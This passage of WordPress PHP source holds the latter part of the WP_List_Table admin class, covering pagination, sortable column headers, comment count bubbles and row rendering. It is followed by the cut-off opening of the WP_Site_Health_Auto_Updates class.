				)
			);
		}

		/**
		 * Filters the 'Months' drop-down results.
		 *
		 * @since 3.7.0
		 *
		 * @param object[] $months    Array of the months drop-down query results.
		 * @param string   $post_type The post type.
		 */
		$months = apply_filters( 'months_dropdown_results', $months, $post_type );

		$month_count = count( $months );

		if ( ! $month_count || ( 1 == $month_count && 0 == $months[0]->month ) ) {
			return;
		}

		$m = isset( $_GET['m'] ) ? (int) $_GET['m'] : 0;
		?>
		<label for="filter-by-date" class="screen-reader-text"><?php echo get_post_type_object( $post_type )->labels->filter_by_date; ?></label>
		<select name="m" id="filter-by-date">
			<option<?php selected( $m, 0 ); ?> value="0"><?php _e( 'All dates' ); ?></option>
		<?php
		foreach ( $months as $arc_row ) {
			if ( 0 == $arc_row->year ) {
				continue;
			}

			$month = zeroise( $arc_row->month, 2 );
			$year  = $arc_row->year;

			printf(
				"<option %s value='%s'>%s</option>\n",
				selected( $m, $year . $month, false ),
				esc_attr( $arc_row->year . $month ),
				/* translators: 1: Month name, 2: 4-digit year. */
				sprintf( __( '%1$s %2$d' ), $wp_locale->get_month( $month ), $year )
			);
		}
		?>
		</select>
		<?php
	}

	/**
	 * Displays a view switcher.
	 *
	 * @since 3.1.0
	 *
	 * @param string $current_mode
	 */
	protected function view_switcher( $current_mode ) {
		?>
		<input type="hidden" name="mode" value="<?php echo esc_attr( $current_mode ); ?>" />
		<div class="view-switch">
		<?php
		foreach ( $this->modes as $mode => $title ) {
			$classes      = array( 'view-' . $mode );
			$aria_current = '';

			if ( $current_mode === $mode ) {
				$classes[]    = 'current';
				$aria_current = ' aria-current="page"';
			}

			printf(
				"<a href='%s' class='%s' id='view-switch-$mode'$aria_current>" .
					"<span class='screen-reader-text'>%s</span>" .
				"</a>\n",
				esc_url( remove_query_arg( 'attachment-filter', add_query_arg( 'mode', $mode ) ) ),
				implode( ' ', $classes ),
				$title
			);
		}
		?>
		</div>
		<?php
	}

	/**
	 * Displays a comment count bubble.
	 *
	 * @since 3.1.0
	 *
	 * @param int $post_id          The post ID.
	 * @param int $pending_comments Number of pending comments.
	 */
	protected function comments_bubble( $post_id, $pending_comments ) {
		$post_object   = get_post( $post_id );
		$edit_post_cap = $post_object ? 'edit_post' : 'edit_posts';

		if ( ! current_user_can( $edit_post_cap, $post_id )
			&& ( post_password_required( $post_id )
				|| ! current_user_can( 'read_post', $post_id ) )
		) {
			// The user has no access to the post and thus cannot see the comments.
			return false;
		}

		$approved_comments = get_comments_number();

		$approved_comments_number = number_format_i18n( $approved_comments );
		$pending_comments_number  = number_format_i18n( $pending_comments );

		$approved_only_phrase = sprintf(
			/* translators: %s: Number of comments. */
			_n( '%s comment', '%s comments', $approved_comments ),
			$approved_comments_number
		);

		$approved_phrase = sprintf(
			/* translators: %s: Number of comments. */
			_n( '%s approved comment', '%s approved comments', $approved_comments ),
			$approved_comments_number
		);

		$pending_phrase = sprintf(
			/* translators: %s: Number of comments. */
			_n( '%s pending comment', '%s pending comments', $pending_comments ),
			$pending_comments_number
		);

		if ( ! $approved_comments && ! $pending_comments ) {
			// No comments at all.
			printf(
				'<span aria-hidden="true">&#8212;</span>' .
				'<span class="screen-reader-text">%s</span>',
				__( 'No comments' )
			);
		} elseif ( $approved_comments && 'trash' === get_post_status( $post_id ) ) {
			// Don't link the comment bubble for a trashed post.
			printf(
				'<span class="post-com-count post-com-count-approved">' .
					'<span class="comment-count-approved" aria-hidden="true">%s</span>' .
					'<span class="screen-reader-text">%s</span>' .
				'</span>',
				$approved_comments_number,
				$pending_comments ? $approved_phrase : $approved_only_phrase
			);
		} elseif ( $approved_comments ) {
			// Link the comment bubble to approved comments.
			printf(
				'<a href="%s" class="post-com-count post-com-count-approved">' .
					'<span class="comment-count-approved" aria-hidden="true">%s</span>' .
					'<span class="screen-reader-text">%s</span>' .
				'</a>',
				esc_url(
					add_query_arg(
						array(
							'p'              => $post_id,
							'comment_status' => 'approved',
						),
						admin_url( 'edit-comments.php' )
					)
				),
				$approved_comments_number,
				$pending_comments ? $approved_phrase : $approved_only_phrase
			);
		} else {
			// Don't link the comment bubble when there are no approved comments.
			printf(
				'<span class="post-com-count post-com-count-no-comments">' .
					'<span class="comment-count comment-count-no-comments" aria-hidden="true">%s</span>' .
					'<span class="screen-reader-text">%s</span>' .
				'</span>',
				$approved_comments_number,
				$pending_comments ?
				/* translators: Hidden accessibility text. */
				__( 'No approved comments' ) :
				/* translators: Hidden accessibility text. */
				__( 'No comments' )
			);
		}

		if ( $pending_comments ) {
			printf(
				'<a href="%s" class="post-com-count post-com-count-pending">' .
					'<span class="comment-count-pending" aria-hidden="true">%s</span>' .
					'<span class="screen-reader-text">%s</span>' .
				'</a>',
				esc_url(
					add_query_arg(
						array(
							'p'              => $post_id,
							'comment_status' => 'moderated',
						),
						admin_url( 'edit-comments.php' )
					)
				),
				$pending_comments_number,
				$pending_phrase
			);
		} else {
			printf(
				'<span class="post-com-count post-com-count-pending post-com-count-no-pending">' .
					'<span class="comment-count comment-count-no-pending" aria-hidden="true">%s</span>' .
					'<span class="screen-reader-text">%s</span>' .
				'</span>',
				$pending_comments_number,
				$approved_comments ?
				/* translators: Hidden accessibility text. */
				__( 'No pending comments' ) :
				/* translators: Hidden accessibility text. */
				__( 'No comments' )
			);
		}
	}

	/**
	 * Gets the current page number.
	 *
	 * @since 3.1.0
	 *
	 * @return int
	 */
	public function get_pagenum() {
		$pagenum = isset( $_REQUEST['paged'] ) ? absint( $_REQUEST['paged'] ) : 0;

		if ( isset( $this->_pagination_args['total_pages'] ) && $pagenum > $this->_pagination_args['total_pages'] ) {
			$pagenum = $this->_pagination_args['total_pages'];
		}

		return max( 1, $pagenum );
	}

	/**
	 * Gets the number of items to display on a single page.
	 *
	 * @since 3.1.0
	 *
	 * @param string $option        User option name.
	 * @param int    $default_value Optional. The number of items to display. Default 20.
	 * @return int
	 */
	protected function get_items_per_page( $option, $default_value = 20 ) {
		$per_page = (int) get_user_option( $option );
		if ( empty( $per_page ) || $per_page < 1 ) {
			$per_page = $default_value;
		}

		/**
		 * Filters the number of items to be displayed on each page of the list table.
		 *
		 * The dynamic hook name, `$option`, refers to the `per_page` option depending
		 * on the type of list table in use. Possible filter names include:
		 *
		 *  - `edit_comments_per_page`
		 *  - `sites_network_per_page`
		 *  - `site_themes_network_per_page`
		 *  - `themes_network_per_page'`
		 *  - `users_network_per_page`
		 *  - `edit_post_per_page`
		 *  - `edit_page_per_page'`
		 *  - `edit_{$post_type}_per_page`
		 *  - `edit_post_tag_per_page`
		 *  - `edit_category_per_page`
		 *  - `edit_{$taxonomy}_per_page`
		 *  - `site_users_network_per_page`
		 *  - `users_per_page`
		 *
		 * @since 2.9.0
		 *
		 * @param int $per_page Number of items to be displayed. Default 20.
		 */
		return (int) apply_filters( "{$option}", $per_page );
	}

	/**
	 * Displays the pagination.
	 *
	 * @since 3.1.0
	 *
	 * @param string $which The location of the pagination: Either 'top' or 'bottom'.
	 */
	protected function pagination( $which ) {
		if ( empty( $this->_pagination_args ) ) {
			return;
		}

		$total_items     = $this->_pagination_args['total_items'];
		$total_pages     = $this->_pagination_args['total_pages'];
		$infinite_scroll = false;
		if ( isset( $this->_pagination_args['infinite_scroll'] ) ) {
			$infinite_scroll = $this->_pagination_args['infinite_scroll'];
		}

		if ( 'top' === $which && $total_pages > 1 ) {
			$this->screen->render_screen_reader_content( 'heading_pagination' );
		}

		$output = '<span class="displaying-num">' . sprintf(
			/* translators: %s: Number of items. */
			_n( '%s item', '%s items', $total_items ),
			number_format_i18n( $total_items )
		) . '</span>';

		$current              = $this->get_pagenum();
		$removable_query_args = wp_removable_query_args();

		$current_url = set_url_scheme( 'http://' . $_SERVER['HTTP_HOST'] . $_SERVER['REQUEST_URI'] );

		$current_url = remove_query_arg( $removable_query_args, $current_url );

		$page_links = array();

		$total_pages_before = '<span class="paging-input">';
		$total_pages_after  = '</span></span>';

		$disable_first = false;
		$disable_last  = false;
		$disable_prev  = false;
		$disable_next  = false;

		if ( 1 == $current ) {
			$disable_first = true;
			$disable_prev  = true;
		}
		if ( $total_pages == $current ) {
			$disable_last = true;
			$disable_next = true;
		}

		if ( $disable_first ) {
			$page_links[] = '<span class="tablenav-pages-navspan button disabled" aria-hidden="true">&laquo;</span>';
		} else {
			$page_links[] = sprintf(
				"<a class='first-page button' href='%s'>" .
					"<span class='screen-reader-text'>%s</span>" .
					"<span aria-hidden='true'>%s</span>" .
				'</a>',
				esc_url( remove_query_arg( 'paged', $current_url ) ),
				/* translators: Hidden accessibility text. */
				__( 'First page' ),
				'&laquo;'
			);
		}

		if ( $disable_prev ) {
			$page_links[] = '<span class="tablenav-pages-navspan button disabled" aria-hidden="true">&lsaquo;</span>';
		} else {
			$page_links[] = sprintf(
				"<a class='prev-page button' href='%s'>" .
					"<span class='screen-reader-text'>%s</span>" .
					"<span aria-hidden='true'>%s</span>" .
				'</a>',
				esc_url( add_query_arg( 'paged', max( 1, $current - 1 ), $current_url ) ),
				/* translators: Hidden accessibility text. */
				__( 'Previous page' ),
				'&lsaquo;'
			);
		}

		if ( 'bottom' === $which ) {
			$html_current_page  = $current;
			$total_pages_before = sprintf(
				'<span class="screen-reader-text">%s</span>' .
				'<span id="table-paging" class="paging-input">' .
				'<span class="tablenav-paging-text">',
				/* translators: Hidden accessibility text. */
				__( 'Current Page' )
			);
		} else {
			$html_current_page = sprintf(
				'<label for="current-page-selector" class="screen-reader-text">%s</label>' .
				"<input class='current-page' id='current-page-selector' type='text'
					name='paged' value='%s' size='%d' aria-describedby='table-paging' />" .
				"<span class='tablenav-paging-text'>",
				/* translators: Hidden accessibility text. */
				__( 'Current Page' ),
				$current,
				strlen( $total_pages )
			);
		}

		$html_total_pages = sprintf( "<span class='total-pages'>%s</span>", number_format_i18n( $total_pages ) );

		$page_links[] = $total_pages_before . sprintf(
			/* translators: 1: Current page, 2: Total pages. */
			_x( '%1$s of %2$s', 'paging' ),
			$html_current_page,
			$html_total_pages
		) . $total_pages_after;

		if ( $disable_next ) {
			$page_links[] = '<span class="tablenav-pages-navspan button disabled" aria-hidden="true">&rsaquo;</span>';
		} else {
			$page_links[] = sprintf(
				"<a class='next-page button' href='%s'>" .
					"<span class='screen-reader-text'>%s</span>" .
					"<span aria-hidden='true'>%s</span>" .
				'</a>',
				esc_url( add_query_arg( 'paged', min( $total_pages, $current + 1 ), $current_url ) ),
				/* translators: Hidden accessibility text. */
				__( 'Next page' ),
				'&rsaquo;'
			);
		}

		if ( $disable_last ) {
			$page_links[] = '<span class="tablenav-pages-navspan button disabled" aria-hidden="true">&raquo;</span>';
		} else {
			$page_links[] = sprintf(
				"<a class='last-page button' href='%s'>" .
					"<span class='screen-reader-text'>%s</span>" .
					"<span aria-hidden='true'>%s</span>" .
				'</a>',
				esc_url( add_query_arg( 'paged', $total_pages, $current_url ) ),
				/* translators: Hidden accessibility text. */
				__( 'Last page' ),
				'&raquo;'
			);
		}

		$pagination_links_class = 'pagination-links';
		if ( ! empty( $infinite_scroll ) ) {
			$pagination_links_class .= ' hide-if-js';
		}
		$output .= "\n<span class='$pagination_links_class'>" . implode( "\n", $page_links ) . '</span>';

		if ( $total_pages ) {
			$page_class = $total_pages < 2 ? ' one-page' : '';
		} else {
			$page_class = ' no-pages';
		}
		$this->_pagination = "<div class='tablenav-pages{$page_class}'>$output</div>";

		echo $this->_pagination;
	}

	/**
	 * Gets a list of columns.
	 *
	 * The format is:
	 * - `'internal-name' => 'Title'`
	 *
	 * @since 3.1.0
	 * @abstract
	 *
	 * @return array
	 */
	public function get_columns() {
		die( 'function WP_List_Table::get_columns() must be overridden in a subclass.' );
	}

	/**
	 * Gets a list of sortable columns.
	 *
	 * The format is:
	 * - `'internal-name' => 'orderby'`
	 * - `'internal-name' => array( 'orderby', bool, 'abbr', 'orderby-text', 'initially-sorted-column-order' )` -
	 * - `'internal-name' => array( 'orderby', 'asc' )` - The second element sets the initial sorting order.
	 * - `'internal-name' => array( 'orderby', true )`  - The second element makes the initial order descending.
	 *
	 * In the second format, passing true as second parameter will make the initial
	 * sorting order be descending. Following parameters add a short column name to
	 * be used as 'abbr' attribute, a translatable string for the current sorting,
	 * and the initial order for the initial sorted column, 'asc' or 'desc' (default: false).
	 *
	 * @since 3.1.0
	 * @since 6.3.0 Added 'abbr', 'orderby-text' and 'initially-sorted-column-order'.
	 *
	 * @return array
	 */
	protected function get_sortable_columns() {
		return array();
	}

	/**
	 * Gets the name of the default primary column.
	 *
	 * @since 4.3.0
	 *
	 * @return string Name of the default primary column, in this case, an empty string.
	 */
	protected function get_default_primary_column_name() {
		$columns = $this->get_columns();
		$column  = '';

		if ( empty( $columns ) ) {
			return $column;
		}

		/*
		 * We need a primary defined so responsive views show something,
		 * so let's fall back to the first non-checkbox column.
		 */
		foreach ( $columns as $col => $column_name ) {
			if ( 'cb' === $col ) {
				continue;
			}

			$column = $col;
			break;
		}

		return $column;
	}

	/**
	 * Gets the name of the primary column.
	 *
	 * Public wrapper for WP_List_Table::get_default_primary_column_name().
	 *
	 * @since 4.4.0
	 *
	 * @return string Name of the default primary column.
	 */
	public function get_primary_column() {
		return $this->get_primary_column_name();
	}

	/**
	 * Gets the name of the primary column.
	 *
	 * @since 4.3.0
	 *
	 * @return string The name of the primary column.
	 */
	protected function get_primary_column_name() {
		$columns = get_column_headers( $this->screen );
		$default = $this->get_default_primary_column_name();

		/*
		 * If the primary column doesn't exist,
		 * fall back to the first non-checkbox column.
		 */
		if ( ! isset( $columns[ $default ] ) ) {
			$default = self::get_default_primary_column_name();
		}

		/**
		 * Filters the name of the primary column for the current list table.
		 *
		 * @since 4.3.0
		 *
		 * @param string $default Column name default for the specific list table, e.g. 'name'.
		 * @param string $context Screen ID for specific list table, e.g. 'plugins'.
		 */
		$column = apply_filters( 'list_table_primary_column', $default, $this->screen->id );

		if ( empty( $column ) || ! isset( $columns[ $column ] ) ) {
			$column = $default;
		}

		return $column;
	}

	/**
	 * Gets a list of all, hidden, and sortable columns, with filter applied.
	 *
	 * @since 3.1.0
	 *
	 * @return array
	 */
	protected function get_column_info() {
		// $_column_headers is already set / cached.
		if (
			isset( $this->_column_headers ) &&
			is_array( $this->_column_headers )
		) {
			/*
			 * Backward compatibility for `$_column_headers` format prior to WordPress 4.3.
			 *
			 * In WordPress 4.3 the primary column name was added as a fourth item in the
			 * column headers property. This ensures the primary column name is included
			 * in plugins setting the property directly in the three item format.
			 */
			if ( 4 === count( $this->_column_headers ) ) {
				return $this->_column_headers;
			}

			$column_headers = array( array(), array(), array(), $this->get_primary_column_name() );
			foreach ( $this->_column_headers as $key => $value ) {
				$column_headers[ $key ] = $value;
			}

			$this->_column_headers = $column_headers;

			return $this->_column_headers;
		}

		$columns = get_column_headers( $this->screen );
		$hidden  = get_hidden_columns( $this->screen );

		$sortable_columns = $this->get_sortable_columns();
		/**
		 * Filters the list table sortable columns for a specific screen.
		 *
		 * The dynamic portion of the hook name, `$this->screen->id`, refers
		 * to the ID of the current screen.
		 *
		 * @since 3.1.0
		 *
		 * @param array $sortable_columns An array of sortable columns.
		 */
		$_sortable = apply_filters( "manage_{$this->screen->id}_sortable_columns", $sortable_columns );

		$sortable = array();
		foreach ( $_sortable as $id => $data ) {
			if ( empty( $data ) ) {
				continue;
			}

			$data = (array) $data;
			// Descending initial sorting.
			if ( ! isset( $data[1] ) ) {
				$data[1] = false;
			}
			// Current sorting translatable string.
			if ( ! isset( $data[2] ) ) {
				$data[2] = '';
			}
			// Initial view sorted column and asc/desc order, default: false.
			if ( ! isset( $data[3] ) ) {
				$data[3] = false;
			}
			// Initial order for the initial sorted column, default: false.
			if ( ! isset( $data[4] ) ) {
				$data[4] = false;
			}

			$sortable[ $id ] = $data;
		}

		$primary               = $this->get_primary_column_name();
		$this->_column_headers = array( $columns, $hidden, $sortable, $primary );

		return $this->_column_headers;
	}

	/**
	 * Returns the number of visible columns.
	 *
	 * @since 3.1.0
	 *
	 * @return int
	 */
	public function get_column_count() {
		list ( $columns, $hidden ) = $this->get_column_info();
		$hidden                    = array_intersect( array_keys( $columns ), array_filter( $hidden ) );
		return count( $columns ) - count( $hidden );
	}

	/**
	 * Prints column headers, accounting for hidden and sortable columns.
	 *
	 * @since 3.1.0
	 *
	 * @param bool $with_id Whether to set the ID attribute or not
	 */
	public function print_column_headers( $with_id = true ) {
		list( $columns, $hidden, $sortable, $primary ) = $this->get_column_info();

		$current_url = set_url_scheme( 'http://' . $_SERVER['HTTP_HOST'] . $_SERVER['REQUEST_URI'] );
		$current_url = remove_query_arg( 'paged', $current_url );

		// When users click on a column header to sort by other columns.
		if ( isset( $_GET['orderby'] ) ) {
			$current_orderby = $_GET['orderby'];
			// In the initial view there's no orderby parameter.
		} else {
			$current_orderby = '';
		}

		// Not in the initial view and descending order.
		if ( isset( $_GET['order'] ) && 'desc' === $_GET['order'] ) {
			$current_order = 'desc';
		} else {
			// The initial view is not always 'asc', we'll take care of this below.
			$current_order = 'asc';
		}

		if ( ! empty( $columns['cb'] ) ) {
			static $cb_counter = 1;
			$columns['cb']     = '<input id="cb-select-all-' . $cb_counter . '" type="checkbox" />
			<label for="cb-select-all-' . $cb_counter . '">' .
				'<span class="screen-reader-text">' .
					/* translators: Hidden accessibility text. */
					__( 'Select All' ) .
				'</span>' .
				'</label>';
			++$cb_counter;
		}

		foreach ( $columns as $column_key => $column_display_name ) {
			$class          = array( 'manage-column', "column-$column_key" );
			$aria_sort_attr = '';
			$abbr_attr      = '';
			$order_text     = '';

			if ( in_array( $column_key, $hidden, true ) ) {
				$class[] = 'hidden';
			}

			if ( 'cb' === $column_key ) {
				$class[] = 'check-column';
			} elseif ( in_array( $column_key, array( 'posts', 'comments', 'links' ), true ) ) {
				$class[] = 'num';
			}

			if ( $column_key === $primary ) {
				$class[] = 'column-primary';
			}

			if ( isset( $sortable[ $column_key ] ) ) {
				$orderby       = isset( $sortable[ $column_key ][0] ) ? $sortable[ $column_key ][0] : '';
				$desc_first    = isset( $sortable[ $column_key ][1] ) ? $sortable[ $column_key ][1] : false;
				$abbr          = isset( $sortable[ $column_key ][2] ) ? $sortable[ $column_key ][2] : '';
				$orderby_text  = isset( $sortable[ $column_key ][3] ) ? $sortable[ $column_key ][3] : '';
				$initial_order = isset( $sortable[ $column_key ][4] ) ? $sortable[ $column_key ][4] : '';

				/*
				 * We're in the initial view and there's no $_GET['orderby'] then check if the
				 * initial sorting information is set in the sortable columns and use that.
				 */
				if ( '' === $current_orderby && $initial_order ) {
					// Use the initially sorted column $orderby as current orderby.
					$current_orderby = $orderby;
					// Use the initially sorted column asc/desc order as initial order.
					$current_order = $initial_order;
				}

				/*
				 * True in the initial view when an initial orderby is set via get_sortable_columns()
				 * and true in the sorted views when the actual $_GET['orderby'] is equal to $orderby.
				 */
				if ( $current_orderby === $orderby ) {
					// The sorted column. The `aria-sort` attribute must be set only on the sorted column.
					if ( 'asc' === $current_order ) {
						$order          = 'desc';
						$aria_sort_attr = ' aria-sort="ascending"';
					} else {
						$order          = 'asc';
						$aria_sort_attr = ' aria-sort="descending"';
					}

					$class[] = 'sorted';
					$class[] = $current_order;
				} else {
					// The other sortable columns.
					$order = strtolower( $desc_first );

					if ( ! in_array( $order, array( 'desc', 'asc' ), true ) ) {
						$order = $desc_first ? 'desc' : 'asc';
					}

					$class[] = 'sortable';
					$class[] = 'desc' === $order ? 'asc' : 'desc';

					/* translators: Hidden accessibility text. */
					$asc_text = __( 'Sort ascending.' );
					/* translators: Hidden accessibility text. */
					$desc_text  = __( 'Sort descending.' );
					$order_text = 'asc' === $order ? $asc_text : $desc_text;
				}

				if ( '' !== $order_text ) {
					$order_text = ' <span class="screen-reader-text">' . $order_text . '</span>';
				}

				// Print an 'abbr' attribute if a value is provided via get_sortable_columns().
				$abbr_attr = $abbr ? ' abbr="' . esc_attr( $abbr ) . '"' : '';

				$column_display_name = sprintf(
					'<a href="%1$s">' .
						'<span>%2$s</span>' .
						'<span class="sorting-indicators">' .
							'<span class="sorting-indicator asc" aria-hidden="true"></span>' .
							'<span class="sorting-indicator desc" aria-hidden="true"></span>' .
						'</span>' .
						'%3$s' .
					'</a>',
					esc_url( add_query_arg( compact( 'orderby', 'order' ), $current_url ) ),
					$column_display_name,
					$order_text
				);
			}

			$tag   = ( 'cb' === $column_key ) ? 'td' : 'th';
			$scope = ( 'th' === $tag ) ? 'scope="col"' : '';
			$id    = $with_id ? "id='$column_key'" : '';

			if ( ! empty( $class ) ) {
				$class = "class='" . implode( ' ', $class ) . "'";
			}

			echo "<$tag $scope $id $class $aria_sort_attr $abbr_attr>$column_display_name</$tag>";
		}
	}

	/**
	 * Print a table description with information about current sorting and order.
	 *
	 * For the table initial view, information about initial orderby and order
	 * should be provided via get_sortable_columns().
	 *
	 * @since 6.3.0
	 * @access public
	 */
	public function print_table_description() {
		list( $columns, $hidden, $sortable ) = $this->get_column_info();

		if ( empty( $sortable ) ) {
			return;
		}

		// When users click on a column header to sort by other columns.
		if ( isset( $_GET['orderby'] ) ) {
			$current_orderby = $_GET['orderby'];
			// In the initial view there's no orderby parameter.
		} else {
			$current_orderby = '';
		}

		// Not in the initial view and descending order.
		if ( isset( $_GET['order'] ) && 'desc' === $_GET['order'] ) {
			$current_order = 'desc';
		} else {
			// The initial view is not always 'asc', we'll take care of this below.
			$current_order = 'asc';
		}

		foreach ( array_keys( $columns ) as $column_key ) {

			if ( isset( $sortable[ $column_key ] ) ) {
				$orderby       = isset( $sortable[ $column_key ][0] ) ? $sortable[ $column_key ][0] : '';
				$desc_first    = isset( $sortable[ $column_key ][1] ) ? $sortable[ $column_key ][1] : false;
				$abbr          = isset( $sortable[ $column_key ][2] ) ? $sortable[ $column_key ][2] : '';
				$orderby_text  = isset( $sortable[ $column_key ][3] ) ? $sortable[ $column_key ][3] : '';
				$initial_order = isset( $sortable[ $column_key ][4] ) ? $sortable[ $column_key ][4] : '';

				if ( ! is_string( $orderby_text ) || '' === $orderby_text ) {
					return;
				}
				/*
				 * We're in the initial view and there's no $_GET['orderby'] then check if the
				 * initial sorting information is set in the sortable columns and use that.
				 */
				if ( '' === $current_orderby && $initial_order ) {
					// Use the initially sorted column $orderby as current orderby.
					$current_orderby = $orderby;
					// Use the initially sorted column asc/desc order as initial order.
					$current_order = $initial_order;
				}

				/*
				 * True in the initial view when an initial orderby is set via get_sortable_columns()
				 * and true in the sorted views when the actual $_GET['orderby'] is equal to $orderby.
				 */
				if ( $current_orderby === $orderby ) {
					/* translators: Hidden accessibility text. */
					$asc_text = __( 'Ascending.' );
					/* translators: Hidden accessibility text. */
					$desc_text  = __( 'Descending.' );
					$order_text = 'asc' === $current_order ? $asc_text : $desc_text;
					echo '<caption class="screen-reader-text">' . $orderby_text . ' ' . $order_text . '</caption>';

					return;
				}
			}
		}
	}

	/**
	 * Displays the table.
	 *
	 * @since 3.1.0
	 */
	public function display() {
		$singular = $this->_args['singular'];

		$this->display_tablenav( 'top' );

		$this->screen->render_screen_reader_content( 'heading_list' );
		?>
<table class="wp-list-table <?php echo implode( ' ', $this->get_table_classes() ); ?>">
		<?php $this->print_table_description(); ?>
	<thead>
	<tr>
		<?php $this->print_column_headers(); ?>
	</tr>
	</thead>

	<tbody id="the-list"
		<?php
		if ( $singular ) {
			echo " data-wp-lists='list:$singular'";
		}
		?>
		>
		<?php $this->display_rows_or_placeholder(); ?>
	</tbody>

	<tfoot>
	<tr>
		<?php $this->print_column_headers( false ); ?>
	</tr>
	</tfoot>

</table>
		<?php
		$this->display_tablenav( 'bottom' );
	}

	/**
	 * Gets a list of CSS classes for the WP_List_Table table tag.
	 *
	 * @since 3.1.0
	 *
	 * @return string[] Array of CSS classes for the table tag.
	 */
	protected function get_table_classes() {
		$mode = get_user_setting( 'posts_list_mode', 'list' );

		$mode_class = esc_attr( 'table-view-' . $mode );

		return array( 'widefat', 'fixed', 'striped', $mode_class, $this->_args['plural'] );
	}

	/**
	 * Generates the table navigation above or below the table
	 *
	 * @since 3.1.0
	 * @param string $which The location of the navigation: Either 'top' or 'bottom'.
	 */
	protected function display_tablenav( $which ) {
		if ( 'top' === $which ) {
			wp_nonce_field( 'bulk-' . $this->_args['plural'] );
		}
		?>
	<div class="tablenav <?php echo esc_attr( $which ); ?>">

		<?php if ( $this->has_items() ) : ?>
		<div class="alignleft actions bulkactions">
			<?php $this->bulk_actions( $which ); ?>
		</div>
			<?php
		endif;
		$this->extra_tablenav( $which );
		$this->pagination( $which );
		?>

		<br class="clear" />
	</div>
		<?php
	}

	/**
	 * Displays extra controls between bulk actions and pagination.
	 *
	 * @since 3.1.0
	 *
	 * @param string $which
	 */
	protected function extra_tablenav( $which ) {}

	/**
	 * Generates the tbody element for the list table.
	 *
	 * @since 3.1.0
	 */
	public function display_rows_or_placeholder() {
		if ( $this->has_items() ) {
			$this->display_rows();
		} else {
			echo '<tr class="no-items"><td class="colspanchange" colspan="' . $this->get_column_count() . '">';
			$this->no_items();
			echo '</td></tr>';
		}
	}

	/**
	 * Generates the table rows.
	 *
	 * @since 3.1.0
	 */
	public function display_rows() {
		foreach ( $this->items as $item ) {
			$this->single_row( $item );
		}
	}

	/**
	 * Generates content for a single row of the table.
	 *
	 * @since 3.1.0
	 *
	 * @param object|array $item The current item
	 */
	public function single_row( $item ) {
		echo '<tr>';
		$this->single_row_columns( $item );
		echo '</tr>';
	}

	/**
	 * @param object|array $item
	 * @param string $column_name
	 */
	protected function column_default( $item, $column_name ) {}

	/**
	 * @param object|array $item
	 */
	protected function column_cb( $item ) {}

	/**
	 * Generates the columns for a single row of the table.
	 *
	 * @since 3.1.0
	 *
	 * @param object|array $item The current item.
	 */
	protected function single_row_columns( $item ) {
		list( $columns, $hidden, $sortable, $primary ) = $this->get_column_info();

		foreach ( $columns as $column_name => $column_display_name ) {
			$classes = "$column_name column-$column_name";
			if ( $primary === $column_name ) {
				$classes .= ' has-row-actions column-primary';
			}

			if ( in_array( $column_name, $hidden, true ) ) {
				$classes .= ' hidden';
			}

			/*
			 * Comments column uses HTML in the display name with screen reader text.
			 * Strip tags to get closer to a user-friendly string.
			 */
			$data = 'data-colname="' . esc_attr( wp_strip_all_tags( $column_display_name ) ) . '"';

			$attributes = "class='$classes' $data";

			if ( 'cb' === $column_name ) {
				echo '<th scope="row" class="check-column">';
				echo $this->column_cb( $item );
				echo '</th>';
			} elseif ( method_exists( $this, '_column_' . $column_name ) ) {
				echo call_user_func(
					array( $this, '_column_' . $column_name ),
					$item,
					$classes,
					$data,
					$primary
				);
			} elseif ( method_exists( $this, 'column_' . $column_name ) ) {
				echo "<td $attributes>";
				echo call_user_func( array( $this, 'column_' . $column_name ), $item );
				echo $this->handle_row_actions( $item, $column_name, $primary );
				echo '</td>';
			} else {
				echo "<td $attributes>";
				echo $this->column_default( $item, $column_name );
				echo $this->handle_row_actions( $item, $column_name, $primary );
				echo '</td>';
			}
		}
	}

	/**
	 * Generates and display row actions links for the list table.
	 *
	 * @since 4.3.0
	 *
	 * @param object|array $item        The item being acted upon.
	 * @param string       $column_name Current column name.
	 * @param string       $primary     Primary column name.
	 * @return string The row actions HTML, or an empty string
	 *                if the current column is not the primary column.
	 */
	protected function handle_row_actions( $item, $column_name, $primary ) {
		return $column_name === $primary ? '<button type="button" class="toggle-row"><span class="screen-reader-text">' .
			/* translators: Hidden accessibility text. */
			__( 'Show more details' ) .
		'</span></button>' : '';
	}

	/**
	 * Handles an incoming ajax request (called from admin-ajax.php)
	 *
	 * @since 3.1.0
	 */
	public function ajax_response() {
		$this->prepare_items();

		ob_start();
		if ( ! empty( $_REQUEST['no_placeholder'] ) ) {
			$this->display_rows();
		} else {
			$this->display_rows_or_placeholder();
		}

		$rows = ob_get_clean();

		$response = array( 'rows' => $rows );

		if ( isset( $this->_pagination_args['total_items'] ) ) {
			$response['total_items_i18n'] = sprintf(
				/* translators: Number of items. */
				_n( '%s item', '%s items', $this->_pagination_args['total_items'] ),
				number_format_i18n( $this->_pagination_args['total_items'] )
			);
		}
		if ( isset( $this->_pagination_args['total_pages'] ) ) {
			$response['total_pages']      = $this->_pagination_args['total_pages'];
			$response['total_pages_i18n'] = number_format_i18n( $this->_pagination_args['total_pages'] );
		}

		die( wp_json_encode( $response ) );
	}

	/**
	 * Sends required variables to JavaScript land.
	 *
	 * @since 3.1.0
	 */
	public function _js_vars() {
		$args = array(
			'class'  => get_class( $this ),
			'screen' => array(
				'id'   => $this->screen->id,
				'base' => $this->screen->base,
			),
		);

		printf( "<script type='text/javascript'>list_args = %s;</script>\n", wp_json_encode( $args ) );
	}
}
<?php
/**
 * Class for testing automatic updates in the WordPress code.
 *
 * @package WordPress
 * @subpackage Site_Health
 * @since 5.2.0
 */

#[AllowDynamicProperties]
class WP_Site_Health_Auto_Updates {
	/**
	 * WP_Site_Health_Auto_Updates constructor.
	 *
	 * @since 5.2.0
	 */
	public function __construct() {
		require_once ABSPATH . 'wp-admin/includes/class-wp-upgrader.php';
	}


	/**
	 * Runs tests to determine if auto-updates can run.
	 *
	 * @since 5.2.0
	 *
	 * @return array The test results.
	 */
	public function run_tests() {
		$tests = array(
			$this->test_constants( 'WP_AUTO_UPDATE_CORE', array( true, 'beta', 'rc', 'development', 'branch-development', 'minor' ) ),
			$this->test_wp_version_check_attached(),
			$this->test_filters_automatic_updater_disabled(),
			$this->test_wp_automatic_updates_disabled(),
			$this->test_if_failed_update(),
			$this->test_vcs_abspath(),
			$this->test_check_wp_filesystem_method(),
			$this->test_all_files_writable(),
			$this->test_accepts_dev_updates(),
			$this->test_accepts_minor_updates(),
		);

		$tests = array_filter( $tests );
		$tests = array_map(
			static function ( $test ) {
				$test = (object) $test;

				if ( empty( $test->severity ) ) {
					$test->severity = 'warning';
				}

				return $test;
			},
			$tests
		);

